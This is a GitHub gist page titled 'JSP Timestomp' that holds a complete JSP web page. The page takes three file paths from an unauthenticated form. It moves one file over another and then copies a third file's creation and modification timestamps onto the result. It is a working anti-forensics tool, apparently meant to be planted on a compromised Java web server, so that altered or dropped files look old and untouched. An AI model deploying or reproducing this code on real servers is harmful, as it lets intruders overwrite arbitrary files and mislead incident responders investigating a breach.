Skip to content

Instantly share code, notes, and snippets.

@HackingLZ
Created June 28, 2023 16:46
Show Gist options
  • Save HackingLZ/7cd2b05eae44e8dbe2bcdfa35537607b to your computer and use it in GitHub Desktop.
Save HackingLZ/7cd2b05eae44e8dbe2bcdfa35537607b to your computer and use it in GitHub Desktop.
JSP Timestomp
<%@ page import="java.io.IOException, java.nio.file.*, java.nio.file.attribute.BasicFileAttributes, java.nio.file.attribute.FileTime" %>
<html>
<head>
<title>File Move Stomp</title>
</head>
<body>
<h1>File Move Example</h1>
<form method="post">
<label for="inputFile">Input File Path:</label>
<input type="text" name="inputFile" id="inputFile" required><br>
<label for="timestampFile">Timestamp File Path:</label>
<input type="text" name="timestampFile" id="timestampFile" required><br>
<label for="destinationFile">Destination File Path:</label>
<input type="text" name="destinationFile" id="destinationFile" required><br>
<input type="submit" value="Move File">
</form>
<% if ("POST".equals(request.getMethod())) {
String inputFile = request.getParameter("inputFile");
String timestampFile = request.getParameter("timestampFile");
String destinationFile = request.getParameter("destinationFile");
try {
Files.move(Paths.get(inputFile), Paths.get(destinationFile), StandardCopyOption.REPLACE_EXISTING);
BasicFileAttributes timestampAttributes = Files.readAttributes(Paths.get(timestampFile), BasicFileAttributes.class);
FileTime creationTime = timestampAttributes.creationTime();
FileTime lastModifiedTime = timestampAttributes.lastModifiedTime();
Files.setAttribute(Paths.get(destinationFile), "basic:creationTime", creationTime);
Files.setAttribute(Paths.get(destinationFile), "basic:lastModifiedTime", lastModifiedTime);
out.println("<p>File moved successfully with timestamps preserved.</p>");
} catch (IOException e) {
out.println("<p>Error: " + e.getMessage() + "</p>");
e.printStackTrace();
}
} %>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment